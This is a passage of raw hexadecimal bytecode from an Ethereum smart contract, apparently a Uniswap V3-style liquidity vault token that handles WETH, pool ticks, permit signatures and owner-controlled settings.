8f906158f7565b6001600160a01b038116610e5d5760405162461bcd60e51b815260040161058f90615850565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610e896130f0565b905090565b600061096d610e9b612d86565b84610da68560016000610eac612d86565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906131ba565b600e546001600160a01b03163314610f065760405162461bcd60e51b815260040161058f906158f7565b601054600160d81b900460ff16610f2f5760405162461bcd60e51b815260040161058f90615887565b6010805460ff60d81b19169055565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b600a5481565b601054600160b81b900460020b81565b601054600160a01b900460020b81565b600e546001600160a01b031681565b600b5481565b6001600160a01b03811660009081526008602052604090205460ff165b919050565b6001600160a01b031660009081526020819052604090205490565b60026007541415610ff15760405162461bcd60e51b815260040161058f90615931565b60026007556010546040805163e7c7cb9160e01b8152905161103c926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b1580156105e357600080fd5b3360009081526008602052604090205460ff1661106b5760405162461bcd60e51b815260040161058f906158da565b6110736126bd565b6010546009546110a4916001600160a01b0390911690600160a01b8104600290810b91600160b81b9004900b6131ca565b600080600960009054906101000a90046001600160a01b03166001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b1580156110f557600080fd5b505afa158015611109573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112d919061510b565b50505050509150915061113e614c1e565b6010546040805163145485e160e11b815290516000926001600160a01b0316916328a90bc2916004808301926020929190829003018186803b15801561118357600080fd5b505afa158015611197573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bb9190614f74565b7f000000000000000000000000000000000000000000000000000000000000003c02905061120a83827f000000000000000000000000000000000000000000000000000000000000003c613301565b600290810b810b60c085015290810b900b60a083015261122861331e565b82526112326133c8565b602083018190528251604051600080516020615aac8339815191529261125892916159bb565b60405180910390a18151602083015160a084015160c085015160095461128d946001600160a01b03909116939092909161341c565b6001600160801b03166080830181905260a083015160c08401516009546112c1936001600160a01b039091169290916134c2565b6060840181905260408401829052835160208501516000936112e29361356b565b905060008161131657611311600261130b86606001518760200151612f9b90919063ffffffff16565b906135a6565b61132d565b6040840151845161132d9160029161130b91612f9b565b90506000620f424062ffffff166113e86002601060009054906101000a90046001600160a01b03166001600160a01b0316630a7013236040518163ffffffff1660e01b815260040160206040518083038186803b15801561138d57600080fd5b505afa1580156113a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c59190615199565b62ffffff16816113d157fe5b6001600160a01b038b169162ffffff9104166135ab565b6001600160a01b0316816113f857fe5b04905060008361141a576114156001600160a01b038916836135fd565b61142d565b61142d6001600160a01b03891683613619565b6009546040805160208082018352881515825291519394506001600160a01b039092169263128acb08923092899289928892611469920161597d565b6040516020818303038152906040526040518663ffffffff1660e01b8152600401611498959493929190615345565b6040805180830381600087803b1580156114b157600080fd5b505af11580156114c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e99190614f8e565b5050600960009054906101000a90046001600160a01b03166001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561153957600080fd5b505afa15801561154d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611571919061510b565b50949c50929a50611586935061331e92505050565b86526115906133c8565b602087018190528651604051600080516020615aac833981519152926115b692916159bb565b60405180910390a1855160208701516009546115ff926001600160a01b0390911691887f000000000000000000000000000000000000000000000000000000000000003c613635565b6010805462ffffff60b81b1916600160b81b600293840b62ffffff90811682029290921762ffffff60a01b1916600160a01b95850b9290921685029190911791829055895160208b015160095461166f966001600160a01b039091169592949193908204830b929104900b61341c565b6001600160801b03166080870181905260095460105460408051602080820183523080835292516001600160a01b0390951695633c8a7d8d959394600160a01b8104600290810b95600160b81b909204900b9391926116cf92910161596a565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016116fe95949392919061538b565b6040805180830381600087803b15801561171757600080fd5b505af115801561172b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174f9190614f8e565b60608801819052604080890183905260105490517fe8cca0c7750fd7d917d80f8fdf0471f461983adb519dab0c25dc7ebfe828e05f936117a593600160a01b8404600290810b94600160b81b9004900b92615533565b60405180910390a150506001600755505050505050565b6001600160a01b038116600090815260066020526040812061097190613834565b600c5481565b600e546001600160a01b0316331461180d5760405162461bcd60e51b815260040161058f906158f7565b601054600160d81b900460ff16156118375760405162461bcd60e51b815260040161058f906156df565b6010805460ff60d81b1916600160d81b179055565b6000806000600260075414156118745760405162461bcd60e51b815260040161058f90615931565b60026007556010546040805163e7c7cb9160e01b815290516118bf926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b1580156105e357600080fd5b601054600160d81b900460ff16156118e95760405162461bcd60e51b815260040161058f906156df565b6000861180156118f95750600085115b6119155760405162461bcd60e51b815260040161058f90615688565b61191d6126bd565b611925612918565b5050601054600954600091611959916001600160a01b031690600160a01b8104600290810b91600160b81b9004900b613838565b601054600954919250600091611994916001600160a01b03909116908a908a90600160a01b8104600290810b91600160b81b9004900b61341c565b600954601054604080516020808201835233825291519495506001600160a01b0390931693633c8a7d8d933093600160a01b8104600290810b94600160b81b909204900b9288926119e79290910161596a565b6040516020818303038152906040526040518663ffffffff1660e01b8152600401611a1695949392919061538b565b6040805180830381600087803b158015611a2f57600080fd5b505af1158015611a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a679190614f8e565b9094509250611a8a6001600160801b03808316620f4240908102918516026138d3565b9450611a968686613904565b611a9e610c8e565b601060009054906101000a90046001600160a01b03166001600160a01b0316632ab4d0526040518163ffffffff1660e01b815260040160206040518083038186803b158015611aec57600080fd5b505afa158015611b00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2491906151bc565b1015611b425760405162461bcd60e51b815260040161058f90615732565b336001600160a01b03167f36af321ec8d3c75236829c5317affd40ddb308863a1236d2d277a4025cccee1e868686604051611b7f939291906159c9565b60405180910390a25050600160078190555093509350939050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108895780601f1061085e57610100808354040283529160200191610889565b600061096d611c08612d86565b84610da685604051806040016040528060038152602001622222a160e91b81525060016000611c35612d86565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906130c3565b6010546001600160a01b031681565b600061096d611c82612d86565b8484612fab565b600e546001600160a01b03163314611cb35760405162461bcd60e51b815260040161058f906158f7565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000003c81565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6009546001600160a01b03163314611d475760405162461bcd60e51b815260040161058f906155f8565b6000611d5582840184615002565b90508415611d8d57611d8d7f00000000000000000000000092d6c1e31e14520e676a687f0a93788b716beff582600001513388612e3e565b8315611dc357611dc37f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc282600001513387612e3e565b5050505050565b83421115611dea5760405162461bcd60e51b815260040161058f906155dc565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888611e198c6139b8565b89604051602001611e2f96959493929190615481565b6040516020818303038152906040528051906020012090506000611e52826139ea565b90506000611e62828787876139fd565b9050896001600160a01b0316816001600160a01b031614611e955760405162461bcd60e51b815260040161058f906157a5565b611ea08a8a8a612d8a565b50505050505050505050565b6010546009546000918291611ee2916001600160a01b0390911690600160a01b8104600290810b91600160b81b9004900b613af5565b90939092509050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600e546001600160a01b03163314611f405760405162461bcd60e51b815260040161058f906158f7565b601054600160d01b900460ff1615611f6a5760405162461bcd60e51b815260040161058f9061586c565b6010805460ff60d01b1916600160d01b17908190556040805163145485e160e11b815290516000926001600160a01b0316916328a90bc2916004808301926020929190829003018186803b158015611fc157600080fd5b505afa158015611fd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ff99190614f74565b7f000000000000000000000000000000000000000000000000000000000000003c0290506000600960009054906101000a90046001600160a01b03166001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561206d57600080fd5b505afa158015612081573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120a5919061510b565b505050505091505060006120d9827f000000000000000000000000000000000000000000000000000000000000003c613bd7565b6010805462ffffff60a01b1916600160a01b868403600290810b62ffffff90811683029390931762ffffff60b81b1916600160b81b868a01830b949094168402179384905593945061213693908304810b9291909104900b613c23565b505050565b6002600754141561215e5760405162461bcd60e51b815260040161058f90615931565b60026007556010546040805163e7c7cb9160e01b815290516121a9926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b1580156105e357600080fd5b3360009081526008602052604090205460ff166121d85760405162461bcd60e51b815260040161058f906158da565b6121e06126bd565b601054600954612211916001600160a01b0390911690600160a01b8104600290810b91600160b81b9004900b6131ca565b600061221b61331e565b905060006122276133c8565b9050600080516020615aac83398151915282826040516122489291906159bb565b60405180910390a16010546040805163145485e160e11b815290516000926001600160a01b0316916328a90bc2916004808301926020929190829003018186803b15801561229557600080fd5b505afa1580156122a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122cd9190614f74565b6009547f000000000000000000000000000000000000000000000000000000000000003c9182029250612311916001600160a01b0390911690859085908590613635565b6010805462ffffff60b81b1916600160b81b600293840b62ffffff90811682029290921762ffffff60a01b1916600160a01b95850b929092168502919091179182905560095460009461237d946001600160a01b039092169389938993928204830b929104900b61341c565b600954601054604080516020808201835230808352925195965060009586956001600160a01b031694633c8a7d8d9493600160a01b8204600290810b94600160b81b909304900b928a926123d292910161596a565b6040516020818303038152906040526040518663ffffffff1660e01b815260040161240195949392919061538b565b6040805180830381600087803b15801561241a57600080fd5b505af115801561242e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124529190614f8e565b6010546040519294509092507fe8cca0c7750fd7d917d80f8fdf0471f461983adb519dab0c25dc7ebfe828e05f916124a591600160a01b8104600290810b92600160b81b909204900b9086908690615533565b60405180910390a15050600160075550505050565b600d5481565b600f546001600160a01b031681565b600e546001600160a01b031633146124f95760405162461bcd60e51b815260040161058f906158f7565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6009546001600160a01b031633146125445760405162461bcd60e51b815260040161058f906155f8565b60008413806125535750600083135b61256f5760405162461bcd60e51b815260040161058f906157de565b600061257d82840184615047565b805190915080156125b9576125b47f00000000000000000000000092d6c1e31e14520e676a687f0a93788b716beff5303389612e3e565b6125e5565b6125e57f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2303388612e3e565b505050505050565b4690565b6000836001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561262c57600080fd5b505afa158015612640573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612664919061510b565b505050505091505060006126788584613c9b565b905060008160020b8360020b1361269157828203612695565b8183035b90508460020b8160020b13156125e55760405162461bcd60e51b815260040161058f906157fb565b6010546009546000916126ef916001600160a01b031690600160a01b8104600290810b91600160b81b9004900b613838565b6001600160801b03169050806127055750612916565b60095460105460405163a34123a760e01b81526001600160a01b039092169163a34123a79161275091600160a01b8204600290810b92600160b81b9004900b9060009060040161550d565b6040805180830381600087803b15801561276957600080fd5b505af115801561277d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127a19190614f8e565b50506009546010546040516309e3d67b60e31b815260009283926001600160a01b0390911691634f1eb3d8916127fe913091600160a01b8104600290810b92600160b81b909204900b906001600160801b039081906004016153cd565b6040805180830381600087803b15801561281757600080fd5b505af115801561282b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061284f9190615083565b6001600160801b0391821693501690506000612875620f424061130b85620186a0613ddb565b9050600061288d620f424061130b85620186a0613ddb565b600a5490915061289d90836131ba565b600a55600b546128ad90826131ba565b600b55600c546128bd90856131ba565b600c55600d546128cd90846131ba565b600d819055600c546040517f1ac56d7e866e3f5ea9aa92aa11758ead39a0a5f013f3fefb0f47cb9d008edd27926129089288928892906159df565b60405180910390a150505050505b565b600080600061292561331e565b905060006129316133c8565b9050600080516020615aac83398151915282826040516129529291906159bb565b60405180910390a1601054600954600091612990916001600160a01b03169085908590600160a01b8104600290810b91600160b81b9004900b61341c565b90506001600160801b03811615612aaf5760095460105460408051602080820183523080835292516001600160a01b0390951694633c8a7d8d94600160a01b8104600290810b94600160b81b909204900b9288926129ef92910161596a565b6040516020818303038152906040526040518663ffffffff1660e01b8152600401612a1e95949392919061538b565b6040805180830381600087803b158015612a3757600080fd5b505af1158015612a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a6f9190614f8e565b60405191965094507f2fb985eb745b9e89bb1ab82e0f8ceb6bf94d4d60aed7e8196540c50161a5fe9190612aa690879087906159bb565b60405180910390a15b5050509091565b60008060008511612ad95760405162461bcd60e51b815260040161058f906155c0565b6000612aef6001600160a01b038a168989613838565b9050600086612b076001600160801b03841688613ddb565b81612b0e57fe5b0490508015612c5e57896001600160a01b031663a34123a78a8a612b3185613dfe565b6040518463ffffffff1660e01b8152600401612b4f9392919061550d565b6040805180830381600087803b158015612b6857600080fd5b505af1158015612b7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ba09190614f8e565b909450925083151580612bb35750600083115b15612c5e57896001600160a01b0316634f1eb3d8868b8b612bd389613dfe565b612bdc89613dfe565b6040518663ffffffff1660e01b8152600401612bfc9594939291906153cd565b6040805180830381600087803b158015612c1557600080fd5b505af1158015612c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c4d9190615083565b6001600160801b0391821695501692505b5050965096945050505050565b6001600160a01b038216612c915760405162461bcd60e51b815260040161058f90615632565b612c9d82600083612136565b60408051808201825260038152622122a160e91b6020808301919091526001600160a01b0385166000908152908190529190912054612cdd9183906130c3565b6001600160a01b038316600090815260208190526040902055600254612d039082612f9b565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612d44908590615478565b60405180910390a35050565b6000838383604051602001612d67939291906152a1565b6040516020818303038152906040528051906020012090509392505050565b3390565b6001600160a01b038316612db05760405162461bcd60e51b815260040161058f90615614565b6001600160a01b038216612dd65760405162461bcd60e51b815260040161058f90615913565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590612e31908590615478565b60405180910390a3505050565b6001600160a01b03841673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2148015612e6a5750804710155b15612f685773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015612ebe57600080fd5b505af1158015612ed2573d6000803e3d6000fd5b505060405163a9059cbb60e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2935063a9059cbb9250612f1091508590859060040161540a565b602060405180830381600087803b158015612f2a57600080fd5b505af1158015612f3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f629190614f58565b50612f95565b6001600160a01b038316301415612f8957612f84848383613e14565b612f95565b612f9584848484613f02565b50505050565b8082038281111561097157600080fd5b6001600160a01b038316612fd15760405162461bcd60e51b815260040161058f906156a5565b6001600160a01b038216612ff75760405162461bcd60e51b815260040161058f9061566b565b613002838383612136565b60408051808201825260038152622a22a160e91b6020808301919091526001600160a01b03861660009081529081905291909120546130429183906130c3565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461307190826131ba565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612e31908590615478565b81830381848211156130e85760405162461bcd60e51b815260040161058f9190615556565b509392505050565b60007f000000000000000000000000000000000000000000000000000000000000000161311b6125ed565b141561314857507fb72e460f5723522f811060073f339468e9a9bcaa3675dff23ca84e7673fb0c36610891565b6131b37f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7fe686a4481a2dff0d2eda84f1fc9675a3740f4ac4e3700e96e06b305d556cfcff7fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6613ff2565b9050610891565b8082018281101561097157600080fd5b60006131e06001600160a01b0385168484613838565b90506001600160801b038116156132755760405163a34123a760e01b81526001600160a01b0385169063a34123a7906132219086908690869060040161550d565b6040805180830381600087803b15801561323a57600080fd5b505af115801561324e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132729190614f8e565b50505b6040516309e3d67b60e31b81526001600160a01b03851690634f1eb3d8906132b0903090879087906001600160801b039081906004016153cd565b6040805180830381600087803b1580156132c957600080fd5b505af11580156132dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125e59190615083565b60008060006133108685613bd7565b858103979501955050505050565b6000610e89600a547f00000000000000000000000092d6c1e31e14520e676a687f0a93788b716beff56001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613372919061530d565b60206040518083038186803b15801561338a57600080fd5b505afa15801561339e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133c291906151bc565b90612f9b565b6000610e89600b547f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613372919061530d565b600080866001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561345857600080fd5b505afa15801561346c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613490919061510b565b50505050505090506134b5816134a586614014565b6134ae86614014565b898961432d565b9150505b95945050505050565b6000806000866001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561350057600080fd5b505afa158015613514573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613538919061510b565b505050505050905061355c8161354d87614014565b61355687614014565b896143ef565b92509250505b94509492505050565b60006135818561357b8685612f9b565b90613ddb565b61358f8561357b8887612f9b565b1161359b5760006134b9565b600195945050505050565b900490565b60006001600160a01b03831615806135f45750816001600160a01b0316836001600160a01b03168385029250826001600160a01b0316816135e857fe5b046001600160a01b0316145b61097157600080fd5b8082016001600160a01b03808416908216101561097157600080fd5b8082036001600160a01b03808416908216111561097157600080fd5b60008060006040518060e00160405280888152602001878152602001600081526020016000815260200160006001600160801b03168152602001600060020b8152602001600060020b8152509050600080896001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b1580156136bf57600080fd5b505afa1580156136d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136f7919061510b565b50505050509150915061370b818888613301565b600290810b810b60c0860181905291810b900b60a0850181905284516020860151613738938e939061448a565b606085018190526040850182905260a085015160c086015161375f938e939092909161341c565b6001600160801b03166080840152825160208401516040850151606086015160009361378e939092909161356b565b905080156137d35760006137ad848660800151876000015160006144b9565b90506137c16137bb826145aa565b89613bd7565b600290810b900b60c086015250613806565b60006137ea848660800151876020015160006148b0565b90506137f86137bb826145aa565b600290810b900b60a0860152505b6138188460a001518560c00151613c23565b8360a0015195508360c001519450505050509550959350505050565b5490565b600080613846308585612d50565b60405163514ea4bf60e01b81529091506001600160a01b0386169063514ea4bf90613875908490600401615478565b60a06040518083038186803b15801561388d57600080fd5b505afa1580156138a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138c591906150b5565b509298975050505050505050565b60006138dd610c8e565b156138fd576138f88261130b6138f1610c8e565b8690613ddb565b610daf565b5090919050565b6001600160a01b03821661392a5760405162461bcd60e51b815260040161058f90615833565b61393660008383612136565b60025461394390826131ba565b6002556001600160a01b03821660009081526020819052604090205461396990826131ba565b6001600160a01b0383166000818152602081905260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612d44908590615478565b6001600160a01b03811660009081526006602052604081206139d981613834565b91506139e48161498c565b50919050565b60006109716139f76130f0565b83614995565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115613a3f5760405162461bcd60e51b815260040161058f90615569565b8360ff16601b1480613a5457508360ff16601c145b613a705760405162461bcd60e51b815260040161058f906156fa565b600060018686868660405160008152602001604052604051613a9594939291906154e1565b6020604051602081039080840390855afa158015613ab7573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116613aea5760405162461bcd60e51b815260040161058f906157a5565b90505b949350505050565b6000806000613b05308686612d50565b90506000806000886001600160a01b031663514ea4bf856040518263ffffffff1660e01b8152600401613b389190615478565b60a06040518083038186803b158015613b5057600080fd5b505afa158015613b64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613b8891906150b5565b9450945050509250613b9c89848a8a6134c2565b9096509450613bb4866001600160801b0384166131ba565b9550613bc9856001600160801b0383166131ba565b945050505050935093915050565b6000808260020b8460020b81613be957fe5b05905060008460020b128015613c1057508260020b8460020b81613c0957fe5b0760020b15155b15613c1a57600019015b90910292915050565b8060020b8260020b12613c485760405162461bcd60e51b815260040161058f906155a3565b620d89e719600283900b1215613c705760405162461bcd60e51b815260040161058f90615788565b620d89e8600282900b1315613c975760405162461bcd60e51b815260040161058f9061576b565b5050565b6040805160028082526060820183526000928492849290916020830190803683370190505090508181600081518110613cd057fe5b602002602001019063ffffffff16908163ffffffff1681525050600081600181518110613cf957fe5b63ffffffff9092166020928302919091019091015260405163883bdbfd60e01b81526000906001600160a01b0387169063883bdbfd90613d3d908590600401615423565b60006040518083038186803b158015613d5557600080fd5b505afa158015613d69573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613d919190810190614e90565b5090508263ffffffff1681600081518110613da857fe5b602002602001015182600181518110613dbd57fe5b60200260200101510360060b81613dd057fe5b059695505050505050565b60008215806135f457505081810281838281613df357fe5b041461097157600080fd5b806001600160801b0381168114610fae57600080fd5b600080846001600160a01b031663a9059cbb60e01b8585604051602401613e3c92919061540a565b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909416939093179092529051613e7a91906152d6565b6000604051808303816000865af19150503d8060008114613eb7576040519150601f19603f3d011682016040523d82523d6000602084013e613ebc565b606091505b5091509150818015613ee6575080511580613ee6575080806020019051810190613ee69190614f58565b611dc35760405162461bcd60e51b815260040161058f9061574f565b600080856001600160a01b03166323b872dd60e01b868686604051602401613f2c93929190615321565b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909416939093179092529051613f6a91906152d6565b6000604051808303816000865af19150503d8060008114613fa7576040519150601f19603f3d011682016040523d82523d6000602084013e613fac565b606091505b5091509150818015613fd6575080511580613fd6575080806020019051810190613fd69190614f58565b6125e55760405162461bcd60e51b815260040161058f906157c1565b6000838383613fff6125ed565b30604051602001612d679594939291906154b5565b60008060008360020b1261402b578260020b614033565b8260020b6000035b9050620d89e88111156140585760405162461bcd60e51b815260040161058f90615717565b60006001821661406c57600160801b61407e565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff16905060028216156140b2576ffff97272373d413259a46990580e213a0260801c5b60048216156140d1576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b60088216156140f0576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b601082161561410f576fffcb9843d60f6159c9db58835c9266440260801c5b602082161561412e576fff973b41fa98c081472e6896dfb254c00260801c5b604082161561414d576fff2ea16466c96a3843ec78b326b528610260801c5b608082161561416c576ffe5dee046a99a2a811c461f1969c30530260801c5b61010082161561418c576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b6102008216156141ac576ff987a7253ac413176f2b074cf7815e540260801c5b6104008216156141cc576ff3392b0822b70005940c7a398e4b70f30260801c5b6108008216156141ec576fe7159475a2c29b7443b29c7fa6e889d90260801c5b61100082161561420c576fd097f3bdfd2022b8845ad8f792aa58250260801c5b61200082161561422c576fa9f746462d870fdf8a65dc1f90e061e50260801c5b61400082161561424c576f70d869a156d2a1b890bb3df62baf32f70260801c5b61800082161561426c576f31be135f97d08fd981231505542fcfa60260801c5b6201000082161561428d576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b620200008216156142ad576e5d6af8dedb81196699c329225ee6040260801c5b620400008216156142cc576d2216e584f5fa1ea926041bedfe980260801c5b620800008216156142e9576b048a170391f7dc42444e8fa20260801c5b60008460020b131561430457806000198161430057fe5b0490505b64010000000081061561431857600161431b565b60005b60ff16602082901c0192505050919050565b6000836001600160a01b0316856001600160a01b0316111561434d579293925b846001600160a01b0316866001600160a01b031611614378576143718585856149c8565b90506134b9565b836001600160a01b0316866001600160a01b031610156143da57600061439f8786866149c8565b905060006143ae878986614a2b565b9050806001600160801b0316826001600160801b0316106143cf57806143d1565b815b925050506134b9565b6143e5858584614a2b565b9695505050505050565b600080836001600160a01b0316856001600160a01b03161115614410579293925b846001600160a01b0316866001600160a01b03161161443b57614434858585614a68565b9150613562565b836001600160a01b0316866001600160a01b0316101561447457614460868585614a68565b915061446d858785614ad1565b9050613562565b61447f858585614ad1565b905094509492505050565b600080600061449c888888888861341c565b90506144aa888287876134c2565b90999098509650505050505050565b6000826144c7575083613aed565b6fffffffffffffffffffffffffffffffff60601b606085901b16821561455e576001600160a01b038616848102908582816144fe57fe5b04141561452f5781810182811061452d5761452383896001600160a01b031683614b14565b9350505050613aed565b505b61455582614550878a6001600160a01b0316868161454957fe5b04906131ba565b614b4e565b92505050613aed565b6001600160a01b0386168481029085828161457557fe5b0414801561458257508082115b61458b57600080fd5b8082036145236145a5846001600160a01b038b1684614b14565b614b59565b60006401000276a36001600160a01b038316108015906145e6575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b6146025760405162461bcd60e51b815260040161058f906158bf565b640100000000600160c01b03602083901b166001600160801b03811160071b81811c67ffffffffffffffff811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c9790881196179094179092171790911717176080811061469657607f810383901c91506146a0565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c678000000000000000161760c19b909b1c674000000000000000169a909a1760c29990991c672000000000000000169890981760c39790971c671000000000000000169690961760c49590951c670800000000000000169490941760c59390931c670400000000000000169290921760c69190911c670200000000000000161760c79190911c670100000000000000161760c89190911c6680000000000000161760c99190911c6640000000000000161760ca9190911c6620000000000000161760cb9190911c6610000000000000161760cc9190911c6608000000000000161760cd9190911c66040000000000001617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b146148a157886001600160a01b031661488582614014565b6001600160a01b0316111561489a578161489c565b805b6148a3565b815b9998505050505050505050565b6000811561491e5760006001600160a01b038411156148e6576148e184600160601b876001600160801b0316614b6f565b6148fe565b6001600160801b038516606085901b816148fc57fe5b045b90506149166145a56001600160a01b038816836131ba565b915050613aed565b60006001600160a01b0384111561494c5761494784600160601b876001600160801b0316614b14565b614963565b614963606085901b6001600160801b038716614b4e565b905080866001600160a01b03161161497a57600080fd5b6001600160a01b038616039050613aed565b80546001019055565b600082826040516020016149aa9291906152f2565b60405160208183030381529060405280519060200120905092915050565b6000826001600160a01b0316846001600160a01b031611156149e8579192915b6000614a0b856001600160a01b0316856001600160a01b0316600160601b614b6f565b90506134b9614a2684838888036001600160a01b0316614b6f565b613dfe565b6000826001600160a01b0316846001600160a01b03161115614a4b579192915b613aed614a2683600160601b8787036001600160a01b0316614b6f565b6000826001600160a01b0316846001600160a01b03161115614a88579192915b836001600160a01b0316614ac1606060ff16846001600160801b0316901b8686036001600160a01b0316866001600160a01b0316614b6f565b81614ac857fe5b04949350505050565b6000826001600160a01b0316846001600160a01b03161115614af1579192915b613aed826001600160801b03168585036001600160a01b0316600160601b614b6f565b6000614b21848484614b6f565b905060008280614b2d57fe5b8486091115610daf576000198110614b4457600080fd5b6001019392505050565b808204910615150190565b806001600160a01b0381168114610fae57600080fd5b6000808060001985870986860292508281109083900303905080614ba55760008411614b9a57600080fd5b508290049050610daf565b808411614bb157600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150509392505050565b6040518060e001604052806000815260200160008152602001600081526020016000815260200160006001600160801b03168152602001600060020b8152602001600060020b81525090565b600082601f830112614c7a578081fd5b81516020614c8f614c8a83615a2c565b615a08565b8281528181019085830183850287018401881015614cab578586fd5b855b85811015614cd2578151614cc081615a76565b84529284019290840190600101614cad565b5090979650505050505050565b60008083601f840112614cf0578182fd5b50813567ffffffffffffffff811115614d07578182fd5b602083019150836020828501011115614d1f57600080fd5b9250929050565b8051600281900b8114610fae57600080fd5b80516001600160801b0381168114610fae57600080fd5b805161ffff81168114610fae57600080fd5b600060208284031215614d72578081fd5b8135610daf81615a76565b60008060408385031215614d8f578081fd5b8235614d9a81615a76565b91506020830135614daa81615a76565b809150509250929050565b600080600060608486031215614dc9578081fd5b8335614dd481615a76565b92506020840135614de481615a76565b929592945050506040919091013590565b600080600080600080600060e0888a031215614e0f578283fd5b8735614e1a81615a76565b96506020880135614e2a81615a76565b955060408801359450606088013593506080880135614e4881615a9c565b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215614e77578182fd5b8235614e8281615a76565b946020939093013593505050565b60008060408385031215614ea2578182fd5b825167ffffffffffffffff80821115614eb